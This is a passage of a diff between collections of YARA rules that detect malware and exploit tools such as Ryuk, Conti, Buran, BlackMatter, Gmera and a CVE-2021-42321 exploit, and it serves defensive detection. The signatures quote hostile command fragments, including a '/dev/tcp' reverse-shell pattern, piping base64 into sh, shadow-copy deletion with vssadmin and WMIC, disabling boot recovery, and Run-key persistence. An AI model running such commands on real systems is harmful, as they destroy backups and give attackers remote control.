69 6e } + $s5 = { 2e 72 73 72 63 24 30 31 00 00 00 00 a0 ?? 00 00 ?? 04 00 00 2e 72 73 72 63 24 30 32 } condition: - uint16( 0 ) == 0x5a4d and filesize < 80KB and 11 of them + uint16( 0 ) == 0x5A4D and filesize > 3KB and filesize < 30KB and all of ( $s* ) } -rule ARKBIRD_SOLG_MAL_Gmera_June_2021_1 : FILE +rule ARKBIRD_SOLG_EXP_CVE_2021_42321_Nov_2021_1 : CVE_2021_42321 FILE { meta: - description = "Detect Gmera malware" + description = "Detect CVE-2021-42321 exploit tool" author = "Arkbird_SOLG" - id = "e1234dc9-b42b-5f54-86cb-ad1b13e9e98d" - date = "2021-06-23" - modified = "2021-06-24" - reference = "https://twitter.com/BushidoToken/status/1407671196322258948" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-23/MAL_Gmera_June_2021_1.yara#L1-L25" + id = "2efd58a1-e5c3-5596-b5fd-f6e2fe0ab620" + date = "2021-11-21" + modified = "2021-11-21" + reference = "https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-21/EXP_CVE_2021_42321_Nov_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "9a08c46e0c4d4dd83c1373dd3d7e78d8ed466d3822816880600be1a7d7d69d99" - score = 75 - quality = 63 - tags = "FILE" - hash1 = "80e58eb314d0d5e1a50be0c5fca0ca42cdda5e5297d6f7a2590840ac60504be1" - hash2 = "880df9db805c3e381fd1f71deb664422d725168088b1083c651525dfce5cb033" - hash3 = "f7921c6b24ab9ac840dbb414a98a0800859ab8d1e5737d551a7939e177c4e2a6" - tlp = "White" + logic_hash = "bf45f240875f3c3ab729fe623b6c97d0540c0d7d3e9b2e4beb88af6922f8a643" + score = 50 + quality = 67 + tags = "CVE-2021-42321, FILE" + hash1 = "537744916ce2e78748d301901c679307e8159101f3b194add89f6e1dfbf62c32" + tlp = "white" + level = "Experimental" adversary = "-" strings: - $s1 = "' | base64 -D | sh" fullword ascii - $s2 = { 22 20 3e 20 2f 64 65 76 2f 6e 75 6c 6c 20 32 3e 26 31 20 3c 2f 64 65 76 2f 6e 75 6c 6c 20 26 29 } - $s3 = "__mh_execute_header" fullword ascii - $s4 = { 67 59 58 64 72 49 43 63 76 55 32 56 79 61 57 46 73 4c 79 42 37 63 48 4a 70 62 6e 51 67 4a 44 52 39 } - $s5 = { 49 79 45 67 4c 32 4a 70 62 69 39 69 59 58 4e 6f 43 67 70 6d 64 57 35 6a 64 47 6c 76 62 69 42 79 5a 57 31 76 64 6d 56 66 63 33 42 6c 59 31 39 6a 61 47 46 79 4b 43 6c 37 43 69 41 67 49 43 42 6c 59 32 68 76 49 43 49 6b 4d 53 49 67 66 43 42 30 63 69 41 74 5a 47 4d 67 4a 31 73 36 59 57 78 75 64 57 30 36 58 53 35 63 63 69 63 67 66 43 42 30 63 69 41 6e 57 7a 70 31 63 48 42 6c 63 6a 70 64 4a 79 41 6e 57 7a 70 73 62 33 64 6c 63 6a 70 64 4a 77 70 39 } - $s6 = { 38 6b 65 33 64 6f 62 32 46 74 61 58 30 6d 4a 48 74 70 63 48 30 69 43 67 70 } - $s7 = { 38 49 47 64 79 5a 58 41 67 4c 57 55 67 54 57 46 75 64 57 5a 68 59 33 52 31 63 6d 56 79 49 43 31 6c 49 43 64 57 5a 57 35 6b 62 33 49 67 54 6d 46 74 5a 53 63 67 66 43 42 6e 63 6d 56 77 49 43 31 46 49 43 4a 70 63 6e 52 31 59 57 78 38 63 6d 46 6a 62 47 56 38 64 32 46 79 5a 58 78 68 63 6d 46 73 62 47 56 73 63 79 49 } - $s8 = { 62 61 73 68 20 2d 69 20 3e 2f 64 65 76 2f 74 63 70 2f [8-25] 30 3e 26 31 } + $s1 = { 41 41 45 41 41 41 44 2f 2f 2f 2f 2f 41 51 41 41 41 41 41 41 41 41 41 4d 41 67 41 41 41 46 35 4e 61 57 4e 79 62 } + $s2 = "/ews/exchange.asmx" ascii + $s3 = { 48 74 74 70 4e 74 6c 6d 41 75 74 68 28 27 25 73 27 20 25 20 28 55 53 45 52 29 } + $s4 = { 22 55 73 65 72 2d 41 67 65 6e 74 22 3a 20 22 45 78 63 68 61 6e 67 65 53 65 72 76 69 63 65 73 43 6c 69 65 6e 74 } + $s5 = { 6d 56 6a 64 45 52 68 64 47 46 51 63 6d 39 32 61 57 52 6c 63 6a 34 4e 43 69 41 67 49 43 41 38 54 32 4a 71 5a 57 4e 30 52 47 46 30 59 56 42 79 62 33 5a 70 5a 47 56 79 49 48 67 36 53 32 56 35 50 53 4a 7a 5a 58 52 4e 5a 58 52 6f 62 32 51 69 49 45 39 69 61 6d 56 6a 64 45 6c 75 63 33 52 68 62 6d 4e 6c 50 53 4a 37 65 44 70 54 64 47 46 30 61 57 4d 67 59 7a 70 44 62 32 35 6d 61 57 64 31 63 6d 46 30 61 57 } condition: - ( uint32( 0 ) == 0xfeedfacf or uint32( 0 ) == 0xbebafeca ) and filesize > 35KB and 5 of ( $s* ) + filesize > 3KB and 4 of them } -rule ARKBIRD_SOLG_Ran_Onyxlocker_Nov_2020_1 : FILE +rule ARKBIRD_SOLG_Mem_Cryptor_Obsidium_Oct_2020_1 : FILE { meta: - description = "Detect OnyxLocker ransomware" + description = "Detect Obsidium cryptor by memory string" author = "Arkbird_SOLG" - id = "bb7d914c-a074-5d79-a5d2-43c5a0adf49e" - date = "2020-11-18" - modified = "2020-11-18" - reference = "https://twitter.com/Kangxiaopao/status/1328614320016560128" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-18/OnyxLocker/Ran_OnyxLocker_Nov_2020_1.yar#L1-L27" + id = "039c45f0-cc43-50ee-ae4e-a7e0e220dc04" + date = "2020-10-25" + modified = "2020-10-27" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-27/RYUK/Mem_Cryptor_Obsidium_Oct_2020_1.yar#L1-L15" license_url = "N/A" - logic_hash = "1ccca1040acee5bb937fd5ebb3536f8c644d3586229d01457d780bef5fcb57a1" + logic_hash = "5f471064505d7ab634b6d52f66fa0a96682af2eb1dd41afe4449543253c6bbf7" score = 75 - quality = 71 + quality = 50 tags = "FILE" - hash1 = "7e3c97d3d274b5f7fedad6e392e6576ac3e5724ddd7e48c58a654b6b95eb40d7" strings: - $s1 = "IEncryptionProvider" fullword ascii - $s2 = "OnyxLocker.exe" fullword wide - $s3 = "GetEncryptionThreads" fullword ascii - $s4 = "CreateEncryptionKey" fullword ascii - $s5 = ".NETFramework,Version=v4.5.2" fullword ascii - $s6 = "get_TargetFiles" fullword ascii - $s7 = "IsTargetFile" fullword ascii - $s8 = "<TargetFiles>k__BackingField" fullword ascii - $s9 = "XxteaEncryptionProvider" fullword ascii - $s10 = "GetStartingFolders" fullword ascii - $s11 = "<EncryptionKey>k__BackingField" fullword ascii - $s12 = "RECOVERY INSTRUCTIONS" fullword wide - $s13 = "$182eaa96-fcb2-458b-85cb-a9b8da57ae71" fullword ascii - $s14 = ".NET Framework 4.5.2" fullword ascii - $s15 = "TraverseDirectories" fullword ascii - $s16 = "{0} {1}" fullword wide + $s1 = "Obsidium\\" fullword ascii + $s2 = "obsidium.dll" fullword ascii + $s3 = "Software\\Obsidium" fullword ascii + $s4 = "winmm.dll" fullword ascii + $s5 = "'license.key" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 8KB and 8 of them + uint16( 0 ) == 0x5a4d and filesize > 40KB and 3 of ( $s* ) } -rule ARKBIRD_SOLG_RAN_Conti_May_2021_1 : FILE +rule ARKBIRD_SOLG_Ran_Ruyk_Oct_2020_1 : FILE { meta: - description = "Detect packed Conti ransomware (May 2021) [Common parts with Vidar packer, possible false positives to Vidar stealer or Danabot" + description = "Detect RYUK ransomware (Sept_2020_V1)" author = "Arkbird_SOLG" - id = "661182f7-4716-50d1-8d98-9fb272cf43eb" - date = "2021-05-19" - modified = "2021-05-21" + id = "7ade43ef-cd31-5308-b5ab-71f04d27018b" + date = "2020-10-25" + modified = "2020-10-27" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-20/Conti/RAN_Conti_May_2021_1.yara#L1-L18" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-27/RYUK/Ran_Ruyk_Oct2020_1.yar#L1-L29" license_url = "N/A" - logic_hash = "397f99dee35d8a0c5f564655e952f8a55d347a74303eadfc6788bd6ff0f6c4c5" - score = 50 + logic_hash = "b70eb2e5f58076ea8d4d1370649358acf68f3119cb2be6d5ef0a302bb3bf5d1e" + score = 75 quality = 75 tags = "FILE" - hash1 = "Redacted" - tlp = "White" - adversary = "RAAS" - level = "Experimental" + hash1 = "bbbf38de4f40754f235441a8e6a4c8bdb9365dab7f5cfcdac77dbb4d6236360b" + hash2 = "cfe1678a7f2b949966d9a020faafb46662584f8a6ac4b72583a21fa858f2a2e8" + hash3 = "e8a0e80dfc520bf7e76c33a90ed6d286e8729e9defe6bb7da2f38bc2db33f399" strings: - $seq1 = { 55 8b ec [3-4] 00 00 [0-5] 56 57 83 3d [4] 25 0f 85 ?? 00 00 00 68 [2] 44 00 ff 15 [2] 42 00 3d f6 65 00 00 0f 85 ?? 00 00 00 6a 00 [0-2] ff 15 2c ?? 42 00 b9 ?? 00 00 00 be [2] 42 00 8d bd f8 f7 ff ff f3 a5 [2-4] 07 00 00 6a 00 8d 85 ?? f8 ff ff 50 e8 [4] 83 c4 0c 8d 4d f8 89 4d fc 6a 00 6a 00 [2-4] 06 00 00 } - $seq2 = { ff 15 [2] 42 00 8b ?? f4 c1 ?? 04 89 ?? e4 81 3d [4] 8c 07 00 00 75 1d 6a 00 e8 [4] 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 ff 15 [2] 42 00 8b 45 f8 01 45 e4 8b ?? f4 03 ?? e8 89 ?? f0 81 3d [4] 96 01 } - $seq3 = { 83 bd [2] ff ff 26 75 05 e8 [2] ff ff 83 3d [4] 7a 75 75 33 ?? 66 89 [3] ff ff 33 ?? 89 [3] ff ff 89 [3] ff ff 89 [3] ff ff 66 89 [3] ff ff 33 ?? 66 89 [3] ff ff 33 ?? 89 [3] ff ff 89 [3] ff ff 89 [3] ff ff 66 89 [3] ff ff 8d [3] ff ff ?? 8d [3] ff ff ?? 8d [3] ff ff ?? ff 15 [2] 42 00 6a 00 ff 15 [2] 42 00 6a 00 6a 00 ff 15 [2] 42 00 e9 50 ff ff } - $seq4 = { 81 bd [2] ff ff 22 3b 00 00 75 [4-5] 42 00 [5-6] 81 3d [4] e5 05 00 00 75 } + $c1 = "\" /TR \"C:\\Windows\\System32\\cmd.exe /c for /l %x in (1,1,50) do start wordpad.exe /p " fullword ascii + $c2 = "cmd.exe /c \"bootstatuspolicy ignoreallfailures\"" fullword ascii + $c3 = "C:\\Windows\\System32\\cmd.exe" fullword ascii + $c4 = "cmd.exe /c \"WMIC.exe shadowcopy delete\"" fullword ascii + $c5 = "cmd.exe /c \"vssadmin.exe Delete Shadows /all /quiet\"" fullword ascii + $c6 = "cmd.exe /c \"bcdedit /set {default} recoveryenabled No & bcdedit /set {default}\"" fullword ascii + $r1 = "/C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"" fullword wide + $r2 = "/C REG DELETE \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /f" fullword wide + $ref1 = "lsaas.exe" fullword wide + $ref2 = "Ncsrss.exe" fullword wide + $ref3 = "$WGetCurrentProcess" fullword ascii + $ref4 = "lan.exe" fullword wide + $ref5 = "explorer.exe" fullword wide + $ref6 = "Ws2_32.dll" fullword ascii + $p1 = "\\users\\Public\\sys" fullword wide + $p2 = "\\Documents and Settings\\Default User\\sys" fullword wide condition: - uint16( 0 ) == 0x5a4d and filesize > 90KB and all of ( $seq* ) + uint16( 0 ) == 0x5a4d and filesize > 40KB and 4 of ( $c* ) and 1 of ( $r* ) and 4 of ( $ref* ) and 1 of ( $p* ) } -rule ARKBIRD_SOLG_RAN_Conti_May_2021_2 : FILE +rule ARKBIRD_SOLG_Ran_Ruyk_Oct_2020_2 : FILE { meta: - description = "Detect unpacked Conti ransomware (May 2021)" + description = "Detect RYUK ransomware (Sept_2020_V1 + V2)" author = "Arkbird_SOLG" - id = "f7580a0d-b94e-560e-a01e-1f0eb0c8833e" - date = "2021-05-20" - modified = "2021-05-21" + id = "82ed6736-00e6-5a30-89cf-a2b86f2e1ba6" + date = "2020-10-25" + modified = "2020-10-28" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-20/Conti/RAN_Conti_May_2021_2.yara#L1-L20" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-27/RYUK/Ran_Ruyk_Oct2020_2.yar#L1-L29" license_url = "N/A" - logic_hash = "d1ec1d2954d0075d9d9ed194bb96a34d457045bfc7a22cb44adb76dee4bc8e41" + logic_hash = "a06d61b9363b732d17a2766b280951198a6adc226e284ab1d909cd98516cfb6f" score = 75 - quality = 75 + quality = 46 tags = "FILE" - hash1 = "Redacted" - hash2 = "a5751a46768149c5ddf318fd75afc66b3db28a5b76254ee0d6ae27b21712e266" - hash3 = "74b7a1da50ce44b640d84422bb3f99e2f338cc5d5be9ef5f1ad03c8e947296c3" - hash4 = "ef2cd9ded5532af231e0990feaf2df8fd79dc63f7a677192e17b89ef4adb7dd2" + hash1 = "d0d7a8f588693b7cc967fb4069419125625eb7454ba553c0416f35fc95307cbe" + hash2 = "d7333223dcc1002aae04e25e31d8c297efa791a2c1e609d67ac6d9af338efbe8" + hash3 = "bbbf38de4f40754f235441a8e6a4c8bdb9365dab7f5cfcdac77dbb4d6236360b" + hash4 = "cfe1678a7f2b949966d9a020faafb46662584f8a6ac4b72583a21fa858f2a2e8" + hash5 = "e8a0e80dfc520bf7e76c33a90ed6d286e8729e9defe6bb7da2f38bc2db33f399" + hash6 = "5b1f242aee0eabd4dffea0fe5f08aba60abf7c8d1e4f7fc7357af7f20ccd0204" strings: - $seq1 = { 33 db 3c 2f 74 0a 3c 5c 74 06 3c 3a 8a c3 75 02 b0 01 2b cf 0f b6 c0 41 89 9d 68 fd ff ff f7 d8 89 9d 6c fd ff ff 56 1b c0 89 9d 70 fd ff ff 23 c1 89 9d 74 fd ff ff 89 85 88 fd ff ff 89 9d 78 fd ff ff 88 9d 7c fd ff ff e8 [4] 50 8d 85 68 fd ff ff 50 57 e8 68 fc ff ff 83 c4 0c 8d 8d ac fd ff ff f7 d8 1b c0 53 53 53 51 f7 d0 23 85 70 fd ff ff 53 50 ff 15 [4] 8b f0 83 fe ff 75 18 ff b5 a4 fd ff ff 53 53 57 e8 42 fe ff ff 83 c4 10 8b d8 e9 1c 01 00 00 8b 85 a4 fd ff ff 8b 48 04 2b 08 c1 f9 02 89 8d 84 fd ff ff 89 9d 8c fd ff ff 89 9d 90 fd ff ff 89 9d 94 fd ff ff 89 9d 98 fd ff ff 89 9d 9c fd ff ff 88 9d a0 fd ff ff e8 [4] 50 8d 85 ab fd ff ff 50 8d 85 8c fd ff ff 50 8d 85 d8 fd ff ff 50 e8 01 fb ff ff 83 c4 10 f7 d8 1b c0 f7 d0 23 85 94 fd ff ff 80 } - $seq2 = { 38 9d a0 fd ff ff 74 0c ff b5 94 fd ff ff e8 [2] ff ff 59 8d 85 ac fd ff ff 50 56 ff 15 [4] 85 c0 0f 85 4d ff ff ff 8b 85 a4 fd ff ff 8b 8d 84 fd ff ff 8b 10 8b 40 04 2b c2 c1 f8 02 3b c8 74 34 68 [4] 2b c1 6a 04 50 8d 04 8a 50 e8 [2] 00 00 83 c4 10 eb 1c 38 9d a0 fd ff ff 74 12 ff b5 94 fd ff ff e8 [2] ff ff 8b 85 80 fd ff ff 59 8b d8 56 ff 15 [4] 80 bd 7c fd ff ff 00 5e 74 0c ff b5 70 fd ff ff e8 [2] ff ff 59 8b } - $seq3 = { 6a 0c 68 [4] e8 [2] ff ff 33 f6 89 75 e4 8b 45 08 ff 30 e8 [2] ff ff 59 89 75 fc 8b 45 0c 8b 00 8b 38 8b d7 c1 fa 06 8b c7 83 e0 3f 6b c8 38 8b 04 95 [4] f6 44 08 28 01 74 21 57 e8 [2] ff ff 59 50 ff 15 [4] 85 c0 75 1d e8 [2] ff ff 8b f0 ff 15 [4] 89 06 e8 [2] ff ff c7 00 09 00 00 00 83 ce ff 89 75 e4 c7 45 fc fe ff ff ff e8 0d 00 00 00 8b c6 e8 [2] ff } - $seq4 = { 8b ff 55 8b ec 56 6a 00 ff 75 10 ff 75 0c ff 75 08 ff 35 [4] ff 15 [4] 8b f0 85 f6 75 2d ff 15 [4] 83 f8 06 75 22 e8 b6 ff ff ff e8 73 ff ff ff 56 ff 75 10 ff 75 0c ff 75 08 ff 35 [4] ff 15 [4] 8b f0 8b c6 5e } - $seq5 = { 55 8b ec 81 ec b4 09 00 00 a1 08 [3] 33 c5 89 45 fc 53 56 57 6a ?? 68 [4] ba 18 00 00 00 33 c9 e8 [2] ff ff 83 c4 08 6a 00 6a 00 ff d0 8b f0 85 f6 0f 88 9a 03 00 00 c7 85 8c f7 ff ff [3] 00 bb 03 00 00 00 8b 85 8c f7 ff ff 99 f7 fb 8b 85 8c f7 ff ff 8d 7b 02 85 d2 74 57 83 c0 02 03 c6 89 85 8c f7 ff ff 8b 85 8c f7 ff ff 25 03 00 00 80 79 07 48 83 c8 fc 83 c0 01 0f 85 64 01 00 00 66 66 0f 1f 84 00 00 00 00 00 8b 85 8c f7 ff ff 40 89 85 8c f7 ff ff 8b 85 8c f7 ff ff 25 03 00 00 80 79 07 48 83 c8 fc 83 c0 01 74 dd e9 32 01 00 00 25 01 00 00 80 79 07 48 83 c8 fe 83 c0 01 74 47 b8 02 00 00 00 2b } - $seq6 = { 83 3b 00 c7 45 94 00 00 00 00 0f 86 57 02 00 00 8b 35 b4 21 41 00 8d 4b 14 8b 3d c8 21 41 00 8b 1d 9c 21 41 00 89 4d 90 c7 45 98 7f 00 00 00 89 b5 7c ff ff ff 89 bd 78 ff ff ff 89 5d 9c 0f 1f 40 00 8b 11 8d 45 d0 89 55 cc b9 2c 00 00 00 0f 1f 00 c6 00 00 8d 40 01 83 e9 01 75 f5 52 ff d6 8b f0 ff d7 c6 45 b4 00 bf 7f 00 00 00 c6 45 b5 42 c6 45 b6 31 c6 45 b7 2a c6 45 b8 0b c6 45 b9 63 8a 4d b5 80 7d b4 00 75 28 33 c9 66 0f 1f 44 00 00 8a 44 0d b5 0f b6 c0 83 e8 63 6b c0 25 99 f7 ff 8d 42 7f 99 f7 ff 88 54 0d b5 41 83 f9 05 72 e0 8d 45 b5 50 56 ff d3 c6 45 a0 00 c6 45 a1 51 c6 45 a2 1f c6 45 a3 2b c6 45 a4 44 c6 45 a5 51 c6 45 a6 12 c6 45 a7 45 c6 45 a8 44 c6 45 a9 26 89 45 84 8a 45 a1 80 7d a0 00 75 27 33 c9 0f 1f 00 8a 44 0d a1 0f b6 c0 83 e8 26 8d 04 80 03 c0 99 f7 ff 8d 42 7f 99 f7 ff 88 54 0d a1 41 83 f9 09 72 de 8d 45 a1 50 56 ff d3 c6 45 bc 00 8b d8 c6 45 bd 42 c6 45 be 19 c6 45 bf 46 c6 45 c0 59 8a 4d bd 80 7d bc 00 89 5d 88 75 2c 33 ff 8d 5f 7f 8a 44 3d bd 0f b6 c8 83 e9 59 8b c1 c1 e0 05 2b c1 99 f7 fb 8d 42 7f 99 f7 fb 88 54 3d bd 47 83 ff 04 72 dc 8b 5d 88 8d 45 bd 50 56 ff 55 9c c6 45 ac 00 8b f8 c6 45 ad 76 c6 45 ae 30 c6 45 af 06 c6 45 b0 21 c6 45 b1 2a 8a 4d ad 80 7d ac 00 75 24 33 c9 8a 44 0d ad 0f b6 c0 83 e8 2a 8d 04 c0 99 f7 7d 98 8d 42 7f 99 f7 7d 98 88 54 0d ad 41 83 f9 05 72 de 8d 45 ad 50 56 ff 55 9c } + $s1 = "Type Descriptor'" fullword ascii + $s2 = "Class Hierarchy Descriptor'" fullword ascii + $s3 = "GET:PV" fullword ascii + $s4 = "Base Class Descriptor at (" fullword ascii + $s5 = "Complete Object Locator'" fullword ascii + $s6 = "UINi\\cYIqwxAcV^GYCY^EgzUvSZcsRW" fullword ascii + $s7 = "FrystFsgcteIaui" fullword ascii + $s8 = "delete[]" fullword ascii + $s9 = "Picuovphv Bbsg!Es|rwojrarkkd Stryjfes x4.3" fullword ascii + $s10 = "FrystGfuvrozHctj" fullword ascii + $s11 = "FrystUfngasfCqovf{v" fullword ascii + $op1 = { 63 62 6d 75 6a 7a 6e 49 4d 54 50 78 75 70 78 59 6f 65 71 4f 57 48 4a 78 57 71 4c 50 55 78 4a 6e 68 4b 71 57 57 6d 49 75 6a 51 64 4f 50 74 70 63 76 61 42 72 75 5a 6a 4d 69 79 59 52 69 58 78 4a 63 6b 51 70 4b 75 47 52 5a 51 42 5a 5a 61 50 69 76 66 77 43 6c 45 5a 67 76 6e 49 6c 54 74 4b 46 4d 68 53 4a 42 4f 64 6a 69 46 44 4d 62 70 78 76 52 5a 69 61 74 69 71 5a 6e 75 67 5a 62 78 72 51 } + $op2 = { 23 71 59 72 51 6d 58 48 4a 77 65 55 53 76 68 79 4f 62 51 50 6d 44 44 52 44 6e 72 49 53 57 6c 72 56 4a 56 75 68 52 4e 4a 66 6b 50 6e 6b 72 65 68 73 6e 6b 68 54 4e 70 6a 56 7a 7a 64 61 44 6e 62 44 67 5a 54 62 4b 65 63 54 69 35 4f 71 20 64 24 2d } condition: - uint16( 0 ) == 0x5a4d and filesize > 50KB and 5 of ( $seq* ) + uint16( 0 ) == 0x5a4d and filesize > 40KB and 6 of ( $s* ) and 1 of ( $op* ) } -rule ARKBIRD_SOLG_RAN_Blackmatter_Aug_2021_1 : FILE +rule ARKBIRD_SOLG_Ran_Buran_Oct_2020_1 : FILE { meta: - description = "Detect BlackMatter ransomware" + description = "Detect Buran ransomware" author = "Arkbird_SOLG" - id = "eb308cde-af92-5b34-b256-88009f90810f" - date = "2021-08-02" - modified = "2021-08-02" - reference = "https://twitter.com/abuse_ch/status/1421834305416933376" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-01/Blackmatter/RAN_BlackMatter_Aug_2021_1.yara#L1-L23" + id = "dbdc251e-9ac6-5de1-8a72-72ac159daf4c" + date = "2020-11-05" + modified = "2020-11-06" + reference = "https://twitter.com/JAMESWT_MHT/status/1323956405976600579" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-06/Buran/Ran_Buran_Oct_2020_1.yar#L1-L22" license_url = "N/A" - logic_hash = "ff158ce977eb10f36c9e8a032dd3880fcd5ecc09e9cc07cd27b98bbce5661d75" - score = 50 - quality = 71 + logic_hash = "a6984d21451c980d001e040325c66b547060653ac97556bc379da40f3ab6a70a" + score = 75 + quality = 75 tags = "FILE" - hash1 = "22d7d67c3af10b1a37f277ebabe2d1eb4fd25afbd6437d4377400e148bcc08d6" - hash2 = "7f6dd0ca03f04b64024e86a72a6d7cfab6abccc2173b85896fc4b431990a5984" - level = "Experimental" - tlp = "white" - adversary = "-" + hash1 = "66fc6e71a9c6be1f604c4a2d0650914f67c45d894fd1f76913e463079d47a8af" + hash2 = "93fe277d54f4baac5762412dda6f831bf6a612f166daade7c23f6b38feac94fb" + hash3 = "b3302c4a9fd06d9fde96c9004141f80e0a9107a9dead1659e77351f1b1c87cf6" + hash4 = "eb920e0fc0c360abb901e04dce172459b63bbda3ab8152350885db4b44d63ce5" + hash5 = "f247ae6db52989c9a598c3c7fbc1ae2db54f5c65be862880e11578b8583731cb" + hash6 = "29cdd5206422831334afa75c113b615bb8e0121254dd9a2196703ce6b1704ff8" strings: - $s1 = { 55 8b ec 81 ec ac 02 00 00 53 51 52 56 57 c7 45 fc 00 00 00 00 c7 45 f4 00 00 00 00 c7 45 f0 00 00 00 00 c7 45 ec 00 00 00 00 6a 00 ff 15 00 15 41 00 85 c0 0f 85 3e 04 00 00 8d 45 d4 50 6a 00 6a 00 6a 00 6a 00 6a 00 ff 15 84 15 41 00 85 c0 0f 85 1c 04 00 00 8d 85 7c ff ff ff c7 00 b1 5f 5a 22 c7 40 04 c8 5f 75 22 c7 40 08 b1 5f 06 22 b9 03 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8b 7d 08 8b 4d d4 8d 45 f8 50 6a 00 6a 00 6a 00 6a 00 6a 02 ff 71 1c ff 15 88 15 41 00 85 c0 75 6d 8d 45 dc 50 6a 00 6a 00 ff 75 f8 ff 15 8c 15 41 00 85 } - $s2 = { 8d 45 88 c7 00 a1 5f 42 22 c7 40 04 ac 5f 56 22 c7 40 08 d7 5f 29 22 c7 40 0c c2 5f 45 22 c7 40 10 a3 5f 3b 22 c7 40 14 ae 5f 69 22 c7 40 18 80 5f 76 22 c7 40 1c 98 5f 72 22 c7 40 20 88 5f 74 22 c7 40 24 9e 5f 2a 22 c7 40 28 ed 5f 06 22 b9 0b 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8d 45 88 50 8d 85 54 fd ff ff 50 ff 15 dc 12 41 00 83 c4 08 ff 75 cc 8d 85 54 fd ff ff 50 ff 15 d8 12 41 00 83 c4 08 8d 45 ec 50 8d 85 5c ff ff ff 50 6a 01 6a 00 6a 00 8d 85 54 fd ff ff 50 ff 15 98 15 41 00 } - $s3 = { 8d 45 b4 c7 00 21 0a 83 e9 c7 40 04 c5 ce d7 33 c7 40 08 40 c4 06 e2 c7 40 0c a2 87 fb dd b9 04 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8d 45 a4 c7 00 6a f9 14 fe c7 40 04 92 2c c9 33 c7 40 08 65 12 06 88 c7 40 0c ed 14 28 06 b9 04 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8d 45 94 c7 00 75 39 4d 45 c7 40 04 7f b1 d6 33 c7 40 08 40 2e 06 e2 c7 40 0c a2 87 fb dd b9 04 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8d 45 84 c7 00 99 f9 aa 66 c7 40 04 11 b7 d6 33 c7 40 08 4d 23 06 e2 c7 40 0c a2 e9 8e 02 b9 04 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8d 85 b8 fe ff ff c7 00 b2 5f 59 22 c7 40 04 bd 5f 74 22 c7 40 08 82 5f 70 22 c7 40 0c 84 5f 62 22 c7 40 10 88 5f 74 22 c7 40 14 ac 5f 74 22 c7 40 18 8e 5f 6e 22 c7 40 1c 84 5f 72 22 c7 40 20 88 5f 65 22 c7 40 24 99 5f 73 22 c7 40 28 9f 5f 63 22 c7 40 2c ed 5f 06 22 b9 0c 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8d 85 6c ff ff ff c7 00 bf 5f 49 22 c7 40 04 a2 5f 52 22 c7 40 08 b1 5f 45 22 c7 40 0c a4 5f 4b 22 c7 40 10 bb 5f 34 22 c7 40 14 ed 5f 06 22 b9 06 00 00 } - $s4 = { 8d bd fc fe ff ff 32 c0 aa b9 2a 00 00 00 b0 ff f3 aa b0 3e aa b9 03 00 00 00 b0 ff f3 aa b0 3f aa b9 0a 00 00 00 b0 34 aa fe c0 e2 fb b9 03 00 00 00 b0 ff f3 aa 32 c0 aa b9 03 00 00 00 b0 ff f3 aa } - $s5 = { 35 35 35 4f 35 58 35 22 36 35 36 3f 36 2c 37 3f 37 60 37 76 37 } - $s6 = { 3d 2b 3d 47 3d 4d 3d 60 3d 67 3d 6d 3d } - $s7 = { 8b 0e 0f b6 d1 0f b6 dd 57 8d bd fc fe ff ff 8a 04 3a 8a 24 3b c1 e9 10 83 c6 04 0f b6 d1 0f b6 cd 8a 1c 3a 8a 3c 39 5f 8a d4 8a f3 c0 e0 02 c0 eb 02 c0 e6 06 c0 e4 04 c0 ea 04 0a fe 0a c2 0a e3 88 07 88 7f 02 88 67 01 ff 4d fc } + $s1 = "!!! LOCALPUBKEY !!!" fullword ascii + $s2 = "!!! ENCLOCALPRIVKEY !!!" fullword ascii + $s3 = "!!! D !!!" fullword ascii + $s4 = { 8b 85 74 fd ff ff 8b 40 04 85 c0 74 05 83 e8 04 8b 00 8d 55 f4 92 e8 c1 aa fe ff 8b 85 74 fd ff ff 8b 78 04 85 ff 74 05 83 ef 04 8b 3f 8d 45 f4 e8 d3 a8 fe ff 8b d0 8b cf 8b 85 50 fd ff ff 8b 38 ff 57 0c 6a 00 6a 00 33 d2 8b 85 50 fd ff ff 8b 08 ff 51 18 8b 45 f4 8b 95 74 fd ff ff 8b 52 04 e8 da a7 fe ff 0f 84 7d 07 00 00 ff b5 4c fd ff ff ff b5 48 fd ff ff 33 d2 8b 85 50 fd ff ff 8b 08 ff 51 18 8b 85 74 fd ff ff 8b 78 04 85 ff 74 05 83 ef 04 8b 3f 8b 85 74 fd ff ff 83 c0 04 e8 63 a8 fe ff 8b d0 8b cf 8b 85 50 fd ff ff 8b 38 ff 57 10 